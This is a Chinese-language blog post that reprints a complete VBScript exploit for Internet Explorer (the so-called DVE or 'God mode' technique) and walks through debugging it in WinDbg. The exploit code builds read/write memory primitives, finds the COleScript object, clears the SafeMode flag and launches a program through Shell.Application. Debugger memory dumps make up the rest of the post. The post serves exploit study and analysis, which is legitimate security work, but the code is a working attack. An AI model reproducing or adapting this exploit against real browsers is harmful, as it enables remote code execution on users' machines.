注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

分析调试一下DVE代码  

2014-08-28 14:01:18|  分类: 调试记录 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

代码见:http://weibo.com/p/1001603713879803836905

<script language="VBScript">

Class Exploit

Private m_Address

Private m_Array()

Private m_Index

Private Sub Class_Initialize

m_Address = &H08000020

ReDim m_Array((&H08000000 - 32) / 16 - 1)

Fake = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")

For i = 0 To UBound(m_Array) Step (65536 / 16)

m_Array(i) = Fake

Next

End Sub

Public Sub WriteDword(Address, Value)

m_Array(m_Index)(Address - 8) = CLng(Value)

End Sub

Private Function ReadDword(Address)

m_Array(m_Index + 10) = Address + 4

WriteDword m_Address + 10 * 16, vbString

ReadDword = LenB(m_Array(m_Index + 10))

WriteDword m_Address + 10 * 16, vbLong

End Function

Public Sub Go()

MsgBox "ed 08000020 200C"

For i = 0 To UBound(m_Array) Step (65536 / 16)

If VarType(m_Array(i)) = (vbArray + vbVariant) Then

m_Index = i

Exit For

End If

Next

On Error Resume Next

m_Array(m_Index + 1) = Go

m_Array(m_Index + 1) = Null

CScriptEntryPoint = ReadDword(m_Address + 16 + 8)

COleScript = ReadDword(ReadDword(CScriptEntryPoint + 8) + 16)

Select Case ScriptEngineMinorVersion

Case 1 SafeMode = COleScript + &H134

Case 5 SafeMode = COleScript + &H138

Case 6 SafeMode = COleScript + &H168

Case 7 SafeMode = COleScript + &H174

Case 8 SafeMode = COleScript + &H174

End Select

WriteDword SafeMode, 0

Set Object = CreateObject("Shell.Application")

Object.ShellExecute "calc"

End Sub

End Class

Set Target = New Exploit

Target.Go

</script>

代码的前面部分和后面部分比较好理解,前面部分负责布局内存,后面部分负责定位COleScript地址,清除SafeMode标志

,然后就可以执行了。主要是中间部分

 On Error Resume Next

m_Array(m_Index + 1) = Go

m_Array(m_Index + 1) = Null

CScriptEntryPoint = ReadDword(m_Address + 16 + 8)

COleScript = ReadDword(ReadDword(CScriptEntryPoint + 8) + 16)

比较难理解。这部分的解释见这里的文章

昨天调试了一下,用断点bu 73271b25就可以看到vbscript变量的赋值过程。

数组第一个元素地址03d20020 之后的元素地址每次都增加0x10000
73271b25 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:03d20028=00000000 ds:0023:0161d3b0=001e5f04
73271b25 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:03d30028=00000000 ds:0023:0161d3b0=031624fc
73271b25 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:03d40028=00000000 ds:0023:0161d3b0=001e5f7c
73271b25 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:03d50028=00000000 ds:0023:0161d3b0=031ccc84
。。。

即 地址=03d20020+索引*10000

08000020=03d20020+42e*10000

 

0:008> dd 08000020 l8
08000020  0000200c 0042e000 035f2c5c 0161d4b8
08000030  02bf0001 02bf3cb0 /02bf4890 CScriptEntryPoint / 0161d3e4

0:001> dds 02bf4890 l8
02bf4890  73274e48 vbscript!CScriptEntryPoint::`vftable'
02bf4894  00000003
02bf4898  /02bf36a8/
02bf489c  02c0d568
02bf48a0  02c0edd4
02bf48a4  00000000
02bf48a8  02bf36a8
02bf48ac  02bf34a0


0:001> dds 02bf36a8 l8
02bf36a8  00000009
02bf36ac  00000000
02bf36b0  00000000
02bf36b4  00000000
02bf36b8  /003bb208/
02bf36bc  00000000

0:001> dds 003bb208+174 l8
003bb37c  /0000000e/
003bb380  00000000
003bb384  00000000

也可以看到ReadDword、WriteDword是如何操作的

通过改变后面第10项类型为字符串,通过取字符串长度

把数据给读出来的。

改变前内存内容:
0:008> dd 08000020
08000020  0000200c 0042e000 035f2c5c 0161d4b8
08000030  /02bf0001 02bf3cb0 02bf4890 0161d3e4/
08000040  00000000 00000000 00000000 00000000
08000050  00000000 00000000 00000000 00000000
08000060  00000000 00000000 00000000 00000000
08000070  00000000 00000000 00000000 00000000
08000080  00000000 00000000 00000000 00000000
08000090  00000000 00000000 00000000 00000000
080000a0  00000000 00000000 00000000 00000000
080000b0  00000000 00000000 00000000 00000000
080000c0  /00000003 00000000 0800003c 00000000/
080000d0  00000000 00000000 00000000 00000000
080000e0  00000000 00000000 00000000 00000000
080000f0  00000000 00000000 00000000 00000000
08000100  00000000 00000000 00000000 00000000
08000110  00000000 00000000 00000000 00000000

 

改变后内存内容:

0800003c字符串前面的DWORD就是长度,脚本层面就通过字符串长度读出来的。

0:008> dd 08000020
08000020  0000200c 0042e000 035f2c5c 0161d4b8
08000030  /02bf0001 02bf3cb0 02bf4890 0161d3e4/
08000040  00000000 00000000 00000000 00000000
08000050  00000000 00000000 00000000 00000000
08000060  00000000 00000000 00000000 00000000
08000070  00000000 00000000 00000000 00000000
08000080  00000000 00000000 00000000 00000000
08000090  00000000 00000000 00000000 00000000
080000a0  00000000 00000000 00000000 00000000
080000b0  00000000 00000000 01610003 0161cc44
080000c0  /00000008 732c87ec 0800003c 00000000/
080000d0  00000000 00000000 00000000 00000000
080000e0  00000000 00000000 00000000 00000000
080000f0  00000000 00000000 00000000 00000000
08000100  00000000 00000000 00000000 00000000
08000110  00000000 00000000 00000000 00000000

  评论这张
 
阅读(281)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017